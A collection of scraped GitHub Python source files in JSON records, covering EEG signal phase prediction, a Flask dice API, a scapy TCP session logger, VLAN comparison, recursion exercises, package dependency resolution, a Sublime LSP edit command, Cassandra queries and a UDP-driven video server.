{"seq_id":"9686142009","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 22 12:41:36 2017\n\n@author: tdong\n\"\"\"\n\n'Import functions'\nimport numpy as np\nimport mne\nfrom matplotlib import pyplot as plt\nfrom mne.preprocessing import ICA\nimport spectrum\nfrom pylab import *\nfrom scipy import signal\nimport statsmodels.tsa.api as tsa\n\n'Initialize trials'\ntrialnumbers = np.arange(499)\nframeerror = [0]*500\nphaseerror = [0]*500\n\n    \n'Create cosine wave with noise, bandpass filtered between 0.1 and 70, mean subtracted'\nnoise = np.random.normal(0,1,512*500)\nfrequency = 512\nf = 6\nsample = 512 * 500\nx = np.arange(sample)\n#y = np.cos(2 * np.pi * f * x[:-512] / Fs) + noise\n#y = np.cos(2 * np.pi * f * x[:-512] / frequency)\nrealsignal = np.cos(2 * np.pi * f * x / frequency)\nnoisysignal = realsignal + noise\n\n'AIC'\norder = arange(2, 100)\nrho = [spectrum.aryule(noisysignal, i, norm='biased')[1] for i in order]\nplt.plot(order, spectrum.AIC(len(noisysignal), rho, order), label='AIC')\nindex_min = np.argmin(spectrum.AIC(len(noisysignal),rho,order)) #pick minimum rho\nplt.title(index_min)\n\nfor trials in trialnumbers:\n    y = noisysignal[512*trials:512*(trials+1)]\n    \n    b,a = signal.butter(1, [0.1/(0.5*512), 70/(0.5*512)], btype='band') \n    last1second = signal.filtfilt(b, a, y)\n    last1second = last1second - mean(last1second)\n    \n    'Run algorithm'    \n    [ar, var, reflec] = spectrum.aryule(last1second, 27, norm= 'biased') #replace the number with order\n    psd = spectrum.arma2psd(ar) #power spectrum analysis\n    freqvals = np.linspace(0,frequency/2,len(psd)/2)\n        \n    freqrange = np.where((freqvals >= 4) & (freqvals <=9)) \n    newpowerspectrumvals = psd[0:round(len(psd)/2)][freqrange]\n    x = 0\n    y = 0 \n    totalpower = np.trapz(newpowerspectrumvals, dx=1.0/256) \n    theta = totalpower \n        \n    while theta > 0.5 * totalpower:\n    \n        if np.trapz(newpowerspectrumvals[1:],dx=1.0/256) > np.trapz(newpowerspectrumvals[:-1], dx=1.0/256):\n            x = x + 1\n            newpowerspectrumvals = newpowerspectrumvals[1:]\n        else:\n            y = y +1\n            newpowerspectrumvals = newpowerspectrumvals[:-1]\n        theta = np.trapz(newpowerspectrumvals, dx = 1.0/256)\n        \n    if x == 0:\n        newfreqrange = freqrange[0][:-y]\n    elif y == 0:\n        newfreqrange = freqrange[0][x:]\n    else:\n        newfreqrange = freqrange[0][x:-y]\n      \n    minfreq = freqvals[newfreqrange][0]\n    maxfreq = freqvals[newfreqrange][-1]\n        \n    b,a = signal.butter(1, [minfreq/(0.5*512), maxfreq/(0.5*512)], btype='band') #use min and max freq to bandpass filter\n    cleanlast1second = signal.filtfilt(b, a, last1second) #zero phase band pass\n    \n    predictionoverlaplength = 0.1 #how far forward you want to predict, in seconds\n    frames = round(predictionoverlaplength*len(cleanlast1second)) #calculate that in frames\n    ARmodel= tsa.AR(cleanlast1second[frames:(-1*frames)]) #get autoregressive model\n    ARmodelfit = ARmodel.fit(ic='aic') #fit the model\n    ARmodelpredict = ARmodel.predict(params=ARmodelfit.params, start = len(cleanlast1second)-2*frames, end = len(cleanlast1second)+0*frames, dynamic = True) #predict\n    predicteddata = np.concatenate((cleanlast1second[:-frames],ARmodelpredict)) #get predicted data\n    \n    'plot the prediction'\n    #plt.figure()\n    #plt.plot(predicteddata,label='predict')\n    #plt.plot(cleanlast1second, label='orig')\n    #plt.plot(cleanlast1second[:(-1*frames)])\n    #plt.legend()\n        \n    'Hilbert transform to get instantaneous phase and freq'\n    Hilberttransform = signal.hilbert(predicteddata) #perform hilbert transform\n    inst_phase = np.angle(Hilberttransform) #get the phases at each timepoint\n    inst_freq = np.diff(inst_phase)/(2*np.pi)*frequency #get the frequencies at each timepoint\n    phaseguess = degrees(inst_phase[512]) #instant phase at current time point\n    freqguess = inst_freq[512] #instant frequency at current time point\n        \n    #'plot signal based on calculated instantaneous phase'\n    #regenerated_carrier = np.cos(inst_phase)\n    #plt.plot(regenerated_carrier)\n        \n    'calculate time delay'\n    timedelay = (1.0/freqguess) * (phaseguess)/360 #get timedelay\n    timedelay = (1.0/(2*freqguess)) - timedelay #get time to next trough\n    timedelayframes = int(round(timedelay * 512)) #get timedelay in frames\n        \n    'calculate error'\n    realtroughs = np.where(realsignal<=-0.999)[0]\n    frameerror[trials] = min(abs(realtroughs-(512*(trials+1)+timedelayframes))) #in number of frames away\n    phaseerror[trials] = abs(-1 - realsignal[512*(trials+1)+timedelayframes]) #in y distance from trough\n    \n'Plot error'\nplt.figure()\nplt.hist(frameerror,bins=100)\nplt.axvline(x=median(frameerror))\nplt.figure()\nplt.hist(phaseerror,bins=100)\nplt.axvline(x=median(phaseerror))\n\n    \n    \n    \n    \n    \n        \n    \n    \n        \n            \n","repo_name":"tonydong6/EEGanalysis","sub_path":"CosineWaveTest.py","file_name":"CosineWaveTest.py","file_ext":"py","file_size_in_byte":4840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"7389094515","text":"from flask import Flask\n\napp = Flask(__name__)\n\nimport json\nimport random\n\n\n@app.route('/')\ndef hello_world():\n    return 'Hello World!'\n\n# This route creates a random number from 1 to 12 and stores that value in a\n# dice variable.  It then places those numbers in a dictionary and encodes them\n@app.route('/roll')\ndef roll_the_dice():\n    die1 = random.randint(1, 12)\n    die2 = random.randint(1, 12)\n    return json.JSONEncoder().encode({'die1': die1, 'die2': die2})\n\n\nif __name__ == '__main__':\n    app.debug = True\n    app.run()\n","repo_name":"rickandersonaia/interview-practice","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30261174510","text":"import json\n\nimport config\nimport db\nimport util\nfrom protocol import app\nfrom protocol import dns\nfrom scapy.all import *\n\ntcp_sql = \"INSERT INTO `log_netflow` (`client_mac`, `ip_src`, `ip_dst`, `port_src`, `port_dst`, `pkt_list`,\" \\\n          \" `len`, `time_start`, `time_end`, `type`, `host`)\" \\\n          \"VALUE ('{client_mac}', '{ip_src}', '{ip_dst}', {port_src}, {port_dst}, '{pkt_list}', \" \\\n          \"'{len}', '{time_start}', '{time_end}', 6, '{host}')\"\n\nsessions = {}\nitem = {\n    \"client_mac\": \"\",\n    \"host\": \"\",\n    \"ip_src\": \"\",\n    \"ip_dst\": \"\",\n    \"port_src\": 0,\n    \"port_dst\": 0,\n    \"time_start\": 0,\n    \"time_end\": 0,\n    \"len\": 0,\n    \"pkt_list\": [],\n    \"fin1\": 0,\n    \"fin2\": 0,\n    \"seq1\": [],\n    \"seq2\": []\n}\n\n\ndef write_db(session):\n    res = {\n        \"client_mac\": session[\"client_mac\"],\n        \"ip_src\": session[\"ip_src\"],\n        \"ip_dst\": session['ip_dst'],\n        \"port_src\": session['port_src'],\n        \"port_dst\": session['port_dst'],\n        \"pkt_list\": json.dumps(session['pkt_list']),\n        \"len\": session['len'],\n        \"time_start\": session['time_start'],\n        \"time_end\": session['time_end'],\n        \"host\": session['host']\n    }\n    sql = tcp_sql.format(**res)\n    db.query(sql)\n    return True\n\n\ndef deal_tcp(pkt, timestamp):\n    # basic info\n    client_mac = pkt[Ether].src\n    ip_src = str(pkt[\"IP\"].src)\n    ip_dst = str(pkt[\"IP\"].dst)\n    port_src = str(pkt[\"TCP\"].sport)\n    port_dst = str(pkt[\"TCP\"].dport)\n    tcp_flag = str(pkt['TCP'].flags)\n    payload_len = len(pkt['TCP'].payload)\n    sequin_str = ','.join([ip_src, port_src, ip_dst, port_dst])\n    rev_sequin_str = ','.join([ip_dst, port_dst, ip_src, port_src])\n    seq_now = pkt[\"TCP\"].seq\n\n    # exist session\n    if sequin_str in sessions:\n        pkt_dir = 1\n        if pkt['TCP'].flags == 'S':\n            write_db(sessions[sequin_str])\n            del sessions[sequin_str]\n            return deal_tcp(pkt, timestamp)\n    elif rev_sequin_str in sessions:\n        sequin_str = rev_sequin_str\n        pkt_dir = 2\n        if pkt['TCP'].flags == 'S':\n            write_db(sessions[sequin_str])\n            del sessions[sequin_str]\n            return deal_tcp(pkt, timestamp)\n\n    # new session\n    elif pkt['TCP'].flags == 'S':\n        pkt_dir = 1\n        sessions[sequin_str] = copy.deepcopy(item)\n        sessions[sequin_str][\"client_mac\"] = client_mac\n        sessions[sequin_str][\"ip_src\"] = ip_src\n        sessions[sequin_str][\"ip_dst\"] = ip_dst\n        sessions[sequin_str][\"port_src\"] = port_src\n        sessions[sequin_str][\"port_dst\"] = port_dst\n        sessions[sequin_str][\"time_start\"] = timestamp\n        host = dns.dns_reverse(ip_dst)\n        if host != ip_dst:\n            sessions[sequin_str][\"host\"] = host\n    else:\n        return True\n\n    session = sessions[sequin_str]\n\n    # check app\n    if pkt_dir == 1:\n        tcp_features = app.get_features(\"TCP\")\n        for feature in tcp_features:\n            app_name, sport, dport, host, dic = feature\n            flag = True\n            if sport != '' and sport != str(session['port_src']):\n                continue\n            if dport != '' and dport != str(session['port_dst']):\n                continue\n            if host != '' and host not in session['host']:\n                continue\n            flag = True\n            try:\n                for d in dic:\n                    if len(d) == 2 and pkt['TCP'].payload.load[int(d[0])] != int(d[1], 16):\n                        flag = False\n                        break\n            except:\n                flag = False\n            if flag:\n                app.add(client_mac, app_name, timestamp, session[\"host\"])\n                break\n\n    # check dup\n    if seq_now in session['seq' + str(pkt_dir)]:\n        return True\n    # write session record\n    session['len'] += payload_len\n    session['seq' + str(pkt_dir)].append(seq_now)\n    session['time_end'] = timestamp\n    session['pkt_list'].append({\n        \"d\": pkt_dir,\n        \"l\": payload_len,\n        \"f\": tcp_flag,\n        \"t\": timestamp - session['time_start']\n    })\n\n    # check RST\n    if 'R' in tcp_flag:\n        result = write_db(session)\n        del sessions[sequin_str]\n        return result\n\n    # check FIN\n    if session['fin' + str(pkt_dir)] == 1:\n        session['fin' + str(pkt_dir)] = 2\n    if 'F' in tcp_flag:\n        session['fin' + str(pkt_dir)] = 1\n\n    if session['fin1'] == 2 and session['fin2'] == 2:\n        result = write_db(session)\n        del sessions[sequin_str]\n        return result\n\n    return True\n\n\ndef tcp_timeout():\n    print(\"[TCP] check tcp timeout\")\n    _del = []\n    for session in sessions:\n        if sessions[session][\"fin1\"] + sessions[session][\"fin2\"] >= 2 and \\\n                int(time.time()) - sessions[session]['time_end'] >= 60:\n            write_db(sessions[session])\n            _del.append(session)\n        elif int(time.time()) - sessions[session][\"time_end\"] >= config.tcp_timeout:\n            write_db(sessions[session])\n            _del.append(session)\n    for i in _del:\n        del sessions[i]\n\n\nutil.add_cron(tcp_timeout, 60)\n\n\ndef read(pkt, timestamp):\n    try:\n        if not (pkt.haslayer(IP) and pkt.haslayer(TCP)):\n            return False\n        else:\n            return deal_tcp(pkt, timestamp)\n        return False\n    except Exception as e:\n        print(\"[TCP] \", e)\n        return False\n","repo_name":"kidultff/TrafficAnalyzer","sub_path":"protocol/tcp.py","file_name":"tcp.py","file_ext":"py","file_size_in_byte":5352,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"35"}
{"seq_id":"70019867301","text":"import pandas as pd\nimport json\n\nclass Comparator:\n    def __init__(self, dev_con, db_collection_con):\n        self.dev_con = dev_con\n        self.db_collection_con = db_collection_con\n        self.device_vlan_df = self._get_device_vlan_df()\n        self.db_vlan_df = self._get_db_vlan_df()\n        #\n        self.dev_db_vlan_df = self.deviceAndDBVlans()\n\n    def _get_device_vlan_df(self):\n        \"\"\"\n        dev_vlan_dd_ll = [\n{'vlan_id': 1, 'name': 'default'}, \n{'vlan_id': 3, 'name': 'TEST3'}, \n{'vlan_id': 4, 'name': 'DEV_from_sw_201_NEW'}]\n        \"\"\"\n        device_vlan_dd_ll = self.dev_con.get_vlans()\n        if device_vlan_dd_ll is None:\n            raise ValueError(\"we did not get vlans from the device. Please check connection logs.\")\n        device_vlan_df = pd.DataFrame(device_vlan_dd_ll)\n        if device_vlan_df.empty:\n            device_vlan_df = pd.DataFrame(columns = ['vlan_id', 'name'])\n        return device_vlan_df\n    \n    def _get_db_vlan_df(self):\n        \"\"\"\n        db_vlan_dd_ll = [\n{'vlan_id': 1, 'name': 'default'}, \n{'vlan_id': 2, 'name': 'TEST33'}, \n{'vlan_id': 4, 'name': 'DEV_from_sw_201'}]\n        \"\"\"\n        db_vlan_dd_ll = self.db_collection_con.objects.get_db_vlan_dd_ll()\n        db_vlan_df = pd.DataFrame(db_vlan_dd_ll)\n        if db_vlan_df.empty:\n            db_vlan_df = pd.DataFrame(columns = ['vlan_id', 'name'])\n        return db_vlan_df\n    def deviceAndDBVlans(self):\n        return pd.merge(self.device_vlan_df, self.db_vlan_df, on=['vlan_id'], how='outer', indicator='dev_db_diff', suffixes=('_dev', '_db'))\n    \n    def get_dev_vlans_only(self):\n        \"\"\"\n        name_dev  vlan_id name_db dev_db_diff\n         TEST3        3     NaN   left_only\n        \"\"\"\n        dev_vlans_only_df = self.dev_db_vlan_df.query('dev_db_diff == \"left_only\"')\n        dev_vlans_only_df = dev_vlans_only_df.rename(columns={'name_dev': 'name'})\n        return json.loads(dev_vlans_only_df.to_json(orient='records'))\n    \n    def get_db_vlans_only(self):\n        \"\"\"\n          name_dev  vlan_id name_db dev_db_diff\n            NaN        2    TEST33  right_only\n        \"\"\"\n        db_vlans_only_df = self.dev_db_vlan_df.query('dev_db_diff == \"right_only\"')\n        db_vlans_only_df = db_vlans_only_df.rename(columns={'name_db': 'name'})\n        return json.loads(db_vlans_only_df.to_json(orient='records'))\n\n    def getVlanNameDiffWithDbDF(self):\n        # when we received DB watch event - we rely on DB info\n        dev_and_db_vlan_for_updates_df = pd.merge(self.device_vlan_df, self.db_vlan_df, on=['vlan_id', 'name'], how='right', indicator='dev_db_diff') # we can update only those vlans which has already exists in DB\n        not_updated_vlans_on_db = dev_and_db_vlan_for_updates_df.query('dev_db_diff == \"right_only\"')\n        return json.loads(not_updated_vlans_on_db.to_json(orient='records'))\n    \n    def getVlanNameDiffWithDeviceDF(self):\n        # when we received SNMP trap - we rely on device info\n        dev_and_db_vlan_for_updates_df = pd.merge(self.device_vlan_df, self.db_vlan_df, on=['vlan_id', 'name'], how='left', indicator='dev_db_diff')\n        not_updated_vlans_on_db = dev_and_db_vlan_for_updates_df.query('dev_db_diff == \"left_only\"')\n        return json.loads(not_updated_vlans_on_db.to_json(orient='records'))","repo_name":"Vadims06/vlansyncapp","sub_path":"app/VlanComparator.py","file_name":"VlanComparator.py","file_ext":"py","file_size_in_byte":3279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25544735723","text":"def main():\n    print(countZeros(n=300230, c=0))\n\ndef recursion(n):\n    if n == 0:\n        return\n    #prints while stacking up the function calls\n    print(n )\n    recursion(n-1)\n\ndef recursionRev(n):\n    if n == 0:\n        return\n    recursionRev(n-1)\n    print(n) #prints while the function call stack is emptied\n\ndef infiniteRec(n):\n    if n == 0:\n        return\n    print(n)\n    infiniteRec(n)\n    n-=1 #post decrement (n--) doest exist in python so this is the way, pre decrement exists as (--n)\n\ndef reverse(n, revnum):\n    \"\"\"\n    def main():\n    #n, revnum = 1234, 0\n    #the above doesn't work as int in immutable & changes in reverse doesnt affect so array required\n    n, revnum = 1234, [0]\n    reverse(n, revnum)\n    print(revnum[0])\n\n    \"\"\"\n    if n == 0:\n        return\n    else:\n        rem = n % 10\n        revnum[0] = revnum[0]*10 + rem\n        reverse(n//10, revnum)\n        #return revnum\n\ndef countZeros(n, c):\n    if n == 0:\n        return c\n    else:\n        rem = n % 10\n        if rem == 0:\n            return countZeros(n//10, c+1)  \n        else:\n            return countZeros(n//10, c)\n\n\n    \nmain()","repo_name":"sujantkumarkv/java-dsa","sub_path":"recursion_easy.py","file_name":"recursion_easy.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27438194446","text":"import copy\nfrom packageship.libs.log import LOGGER\nfrom packageship.application.query.depend import InstallRequires\nfrom packageship.application.database.cache import buffer_cache\nfrom .basedepend import BaseDepend\nclass InstallDepend(BaseDepend):\n\n    \"\"\"\n    Description: query install depend of package\n\n    Attributes:\n        db_list: database priority list\n        search_install_dict: stored bianry name for next install search loop\n        binary_dict: stored the result for depend binary info\n        source_dict: stored the resulth for depend source info\n        depend_history: Query other dependent class\n        com_not_found_pro: stored the comopent name which cannot find the provided pkg\n        _search_set: stored the bianry name for this search loop\n        __level: count the depend level\n        __query_installreq: query databases for getting install requires\n    \"\"\"\n\n    def __init__(self, db_list, depend=None):\n        \"\"\"\n        Args:\n            db_list: database priority list\n            depend: the type of BaseDepend class\n        \"\"\"\n        if not db_list:\n            raise ValueError(\"the input of db_list is none\")\n\n        super(InstallDepend, self).__init__()\n\n        self._init_search_dict(self.search_install_dict, db_list)\n        self.__level = 0\n        self.__query_installreq = InstallRequires(db_list)\n\n        \n        # for build and self depend, get the previous result from the input cls\n        if isinstance(depend, BaseDepend):\n            self.depend_history = depend\n            self.binary_dict = depend.binary_dict\n            self.source_dict = depend.source_dict\n            self.com_not_found_pro = depend.com_not_found_pro\n            self.search_install_dict = depend.search_install_dict\n            # if the depend type is build,\n            # there would be a build depend result in the source dict\n            self.depend_type = \"build\" if self.source_dict else \"self\"\n\n    def install_depend(self, bin_name, level=0):\n        \"\"\"\n        Description: get binary rpm package(s) install depend relation\n        Args:\n            bin_name: the list of package names needed to be searched\n            level: The number of levels of dependency querying,\n                    the default value of level is 0, which means search all dependency\n        Exception:\n            AttributeError: the input value is invalid\n       \"\"\"\n        if not isinstance(bin_name, list):\n            raise AttributeError(\"the input is invalid\")\n        for binary in bin_name:\n            if binary:\n                self.search_install_dict.get(\"non_db\").add(binary)\n\n        while self._check_search(self.search_install_dict):\n            self.__level += 1\n            self.__query_one_level_dep(level)\n            # Stop the query when the __level in the query reaches the input of level\n            if self.__level == level:\n                break\n\n    def __query_one_level_dep(self, level):\n        \"\"\"\n        Description: query the one level install dep in database\n        Args:\n            level: The number of levels of dependency querying,\n                    the default value of level is 0, which means search all dependency\n        Returns:\n            resp: the response for one level depend result\n       \"\"\"\n        resp = self._query_in_db(\n            search_dict=self.search_install_dict,\n            func=self.__query_installreq.get_install_req)\n\n        if self.__level == 1:\n            searched_pkg = copy.deepcopy(self._search_set)\n\n        for pkg_info in resp:\n            if not pkg_info:\n                LOGGER.warning(\"There is a None type in resp\")\n                continue\n            bin_name = pkg_info.get(\"binary_name\")\n            src_name = pkg_info.get(\"src_name\")\n\n            if not bin_name:\n                continue\n            # check the input packages searched result\n            if self.__level == 1:\n                searched_pkg.discard(bin_name)\n\n            if not self._has_searched_dep(bin_name, \"install\"):\n                # binary pkg which has not query the installdep yet,\n                # put it into search dict based on the database which found it\n                depend_set = set()\n                #for non install depend, the list would be empty\n                install_list = []\n                for req in pkg_info.get(\"requires\"):\n                    com_bin_name = req.get(\"com_bin_name\")\n                    # insert req info in last level loop\n                    if self.__level == level:\n                        self._insert_com_info(req)\n\n                    if self._checka_and_add_com_value(req, self.search_install_dict):\n                        depend_set.add(com_bin_name)\n                install_list = list(depend_set)\n\n                # put the package binary info into binary result dict\n                self._insert_into_binary_dict(\n                    name=bin_name,\n                    version=pkg_info.get(\"bin_version\", \"NOT FOUND\"),\n                    source_name=pkg_info.get(\"src_name\", \"NOT FOUND\"),\n                    database=pkg_info.get(\"database\", \"NOT FOUND\"),\n                    install=install_list\n                )\n\n            # put the package source info into source result dict\n            if src_name and src_name not in self.source_dict:\n                self._insert_into_source_dict(\n                    name=src_name,\n                    version=pkg_info.get(\"src_version\", \"NOT FOUND\"),\n                    database=pkg_info.get(\"database\", \"NOT FOUND\")\n                )\n\n            if self.depend_history and self.depend_type == \"self\":\n                self.depend_history.add_search_dict(\n                    \"install\",\n                    pkg_info.get(\"database\"),\n                    com_src_name=src_name)\n\n        self._search_set.clear()\n        if self.__level == 1 and searched_pkg and not self.depend_history:\n            self.log_msg = f\"Can not find the packages:{str(searched_pkg)}in all databases\"\n            LOGGER.warning(self.log_msg)\n            \n    def __call__(self, **kwargs):\n        self.__dict__.update(\n            dict(packagename=kwargs[\"packagename\"], dependency_type=\"installdep\"))\n\n        @buffer_cache(depend=self)\n        def _depend(**kwargs):\n            self.install_depend(bin_name=kwargs[\"packagename\"],\n                                level=kwargs[\"parameter\"][\"level\"])\n        _depend(**kwargs)\n","repo_name":"openeuler-mirror/pkgship","sub_path":"packageship/packageship/application/core/depend/install_depend.py","file_name":"install_depend.py","file_ext":"py","file_size_in_byte":6396,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"36172514193","text":"#Criando String e concatenando  \r\nrua ='Rua do catete'\r\nnumero = \"153\"\r\nbairro = 'Catete'\r\ncidade = 'rio de janeiro'\r\nestado = \"Rj\"\r\ncep = '22220-000'\r\n\r\nendereco = rua + numero + bairro + cidade + estado + cep\r\nprint (endereco)\r\n\r\nrua ='Rua do catete, '\r\nnumero = \"153, \"\r\nbairro = 'Catete, '\r\ncidade = 'rio de janeiro, '\r\nestado = \"Rj, \"\r\ncep = '22220-000'\r\n\r\nprint (endereco)\r\nendereco = rua + numero + bairro + cidade + estado + cep\r\n\r\n#letraMaiusculas\r\nendereco_maiuscula = endereco.upper()\r\nprint(endereco_maiuscula)\r\n\r\n\r\n#letraMinuscula\r\nendereco_maiuscula = endereco.lower()\r\nprint(endereco_maiuscula)","repo_name":"guhtavares/logicaComPython","sub_path":"logicaComPython/criandoStringContatenar.py","file_name":"criandoStringContatenar.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31171416833","text":"import json\nfrom json import loads, dumps\nfrom cassandra.cluster import Cluster\nfrom datetime import datetime, timezone\n\ndef connect_to_cassandra():\n    cluster= Cluster(['localhost'],port=9042)\n    session= cluster.connect(\"twitt\")\n    return session, cluster\n\nif __name__ == '__main__':\n    session, cluster= connect_to_cassandra()\n    session.set_keyspace('twitter')\n\n    #query1\n    result1= session.execute(\"SELECT twitt_id FROM twitts where day=15 AND hour>=20 AND minute>30\")\n    for r1 in result1:\n        print (r1)\n\n    #query2\n    result2= session.execute(\"SELECT twitt_id FROM persons where user_name='Rahmadzade' AND (day=15 OR (day=14 AND hour>21)\")\n    for r2 in result2:\n        print (r2)\n\n    #query3\n    result3 = session.execute(\"SELECT twitt_id FROM hashtags where hashtag='help' AND date>'2021-8-13' AND date<'2021-8-15'\")\n    for r3 in result3:\n        print(r3)\n\n    #query4\n    result4 = session.execute(\"SELECT twitt_id FROM person where user_name='Rahmadzade' day IN (8,15)\")\n    for r4 in result4:\n        print(r4)","repo_name":"amirsartipi13/big-data-final-project","sub_path":"queries/cassandra_queries.py","file_name":"cassandra_queries.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"27399391108","text":"from .core.edit import TextEditTuple\nfrom .core.logging import debug\nfrom .core.typing import List, Optional, Any, Generator, Iterable\nfrom contextlib import contextmanager\nimport operator\nimport sublime\nimport sublime_plugin\n\n\n@contextmanager\ndef temporary_setting(settings: sublime.Settings, key: str, val: Any) -> Generator[None, None, None]:\n    prev_val = None\n    has_prev_val = settings.has(key)\n    if has_prev_val:\n        prev_val = settings.get(key)\n    settings.set(key, val)\n    yield\n    settings.erase(key)\n    if has_prev_val and settings.get(key) != prev_val:\n        settings.set(key, prev_val)\n\n\nclass LspApplyDocumentEditCommand(sublime_plugin.TextCommand):\n\n    def run(self, edit: sublime.Edit, changes: Optional[List[TextEditTuple]] = None) -> None:\n        # Apply the changes in reverse, so that we don't invalidate the range\n        # of any change that we haven't applied yet.\n        if not changes:\n            return\n        with temporary_setting(self.view.settings(), \"translate_tabs_to_spaces\", False):\n            view_version = self.view.change_count()\n            last_row, _ = self.view.rowcol_utf16(self.view.size())\n            for start, end, replacement, version in reversed(_sort_by_application_order(changes)):\n                if version is not None and version != view_version:\n                    debug('ignoring edit due to non-matching document version')\n                    continue\n                region = sublime.Region(\n                    self.view.text_point_utf16(*start, clamp_column=True),\n                    self.view.text_point_utf16(*end, clamp_column=True)\n                )\n                if start[0] > last_row and replacement[0] != '\\n':\n                    # Handle when a language server (eg gopls) inserts at a row beyond the document\n                    # some editors create the line automatically, sublime needs to have the newline prepended.\n                    self.apply_change(region, '\\n' + replacement, edit)\n                    last_row, _ = self.view.rowcol(self.view.size())\n                else:\n                    self.apply_change(region, replacement, edit)\n\n    def apply_change(self, region: sublime.Region, replacement: str, edit: sublime.Edit) -> None:\n        if region.empty():\n            self.view.insert(edit, region.a, replacement)\n        else:\n            if len(replacement) > 0:\n                self.view.replace(edit, region, replacement)\n            else:\n                self.view.erase(edit, region)\n\n\ndef _sort_by_application_order(changes: Iterable[TextEditTuple]) -> List[TextEditTuple]:\n    # The spec reads:\n    # > However, it is possible that multiple edits have the same start position: multiple\n    # > inserts, or any number of inserts followed by a single remove or replace edit. If\n    # > multiple inserts have the same position, the order in the array defines the order in\n    # > which the inserted strings appear in the resulting text.\n    # So we sort by start position. But if multiple text edits start at the same position,\n    # we use the index in the array as the key.\n\n    return list(sorted(changes, key=operator.itemgetter(0)))\n","repo_name":"sublimelsp/LSP","sub_path":"plugin/edit.py","file_name":"edit.py","file_ext":"py","file_size_in_byte":3156,"program_lang":"python","lang":"en","doc_type":"code","stars":1533,"dataset":"github-code","pt":"35"}
{"seq_id":"33591647374","text":"import socket\nimport ast\nimport time\nimport sys\nfrom flask import Flask, render_template, Response, request\nfrom flask_cors import CORS\nimport random\nfrom threading import Thread\nmsgFromClient =\"\" \nlocalIP     = socket.gethostname() \nlocalPort   = 20001\nbufferSize          = 1024\nbytesToSend         = str.encode(msgFromClient)\nserverAddressPort   = (localIP, localPort)\nlist_ = []\napp = Flask(__name__)\nCORS(app)\n\nclass file_video:\n    def __init__(self, file1):\n        self.file1 = file1\nclass temps:\n    def __init__(self, temps):\n        self.temps = temps\nfile1 = file_video\ntemps1 = temps\ndef add_list(json):\n    list_.append(json)\n\ndef receive_json():\n    time_start = time.time()\n    while temps1.temps == 1:\n    # Create a UDP socket at client side\n\n        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)\n    # Send to server using created UDP socket\n\n        UDPClientSocket.sendto(bytesToSend, serverAddressPort)\n        msgFromServer = UDPClientSocket.recvfrom(bufferSize)\n        msg = \"{}\".format(msgFromServer[0])\n        a = msg.lstrip(\"b\")\n        a = a.lstrip('\"')\n        a = a.rstrip('\"')\n        res = ast.literal_eval(a)\n        add_list(res)\n        if time.time() - time_start >=20:\n            break\n        #print(res)\n        #print(res)\n        #jsonObj = json.loads(str(res))\n        #print(jsonObj)\n        # person = 0\n        # for i in res:\n        #     if i == \"person\":\n        #         person = person + 1\n        # print(person)\n    # man = list_[0]\n    # print(man[\"man\"])\n    # print(len(list_))\n    return list_\n\ndef obj_max(list):\n    man = 0\n    girl = 0\n    elder= 0\n    children = 0\n    obj = []\n    for i in list:\n       man = man + i[\"man\"] \n       girl = girl + i[\"girl\"]\n       elder = elder + i[\"elder\"]\n       children = children + i[\"children\"]\n    obj.append(man)\n    obj.append(girl)\n    obj.append(elder)\n    obj.append(children)\n    if max(obj) == 0:\n        return 0\n    else:\n        for i in range(len(obj)):\n            if max(obj) == obj[i]:\n                return i + 1\n\ndef return_video(max_obj):\n    if max_obj == 0:\n        return random.randint(1,6)\n    if max_obj == 1:\n        return 1\n    if max_obj == 2:\n        return 2\n    if max_obj == 3:\n        return 3\n    if max_obj == 4:\n        return 4\n\n@app.route('/videos', methods=['GET'])\ndef test():\n    print(\"....\")\n    print(file1.file1)\n    return str(file1.file1) +'.mp4'\n\n@app.route('/videos', methods=['POST'])\ndef getvideo():\n    #print(\"okela\")\n    temps_ = request.json\n    temps1.temps = int(temps_['temp'])\n    \n    # print(temps1.temps['temp'])\n    # value = request.form['projectFilePath']\n    # file_name = random.randint(1, 6)\n    # print(value)\n    # print('==================response=============')\n    # print(file_name)\n    return temps_\n\ndef run_server():\n    app.run(host='0.0.0.0', threaded=True)\n\ndef main_host():\n    temps1.temps = 1\n    class_id = obj_max(receive_json())\n    file1.file1 = return_video(class_id)\n    list_.clear()\n    print(file1.file1)\n    Thread(target=run_server, args=()).start()\n    while True:\n        if temps1.temps == 1:\n            class_id = obj_max(receive_json())\n            file1.file1 = return_video(class_id)\n            list_.clear()\n            print(\"classid\")\n            print(class_id)\n            print(\"video\")\n            print(file1.file1)\n\n       \n        \n","repo_name":"mhoang2309/jetson-nano-project","sub_path":"utils/socket_clien_to_localhost.py","file_name":"socket_clien_to_localhost.py","file_ext":"py","file_size_in_byte":3383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
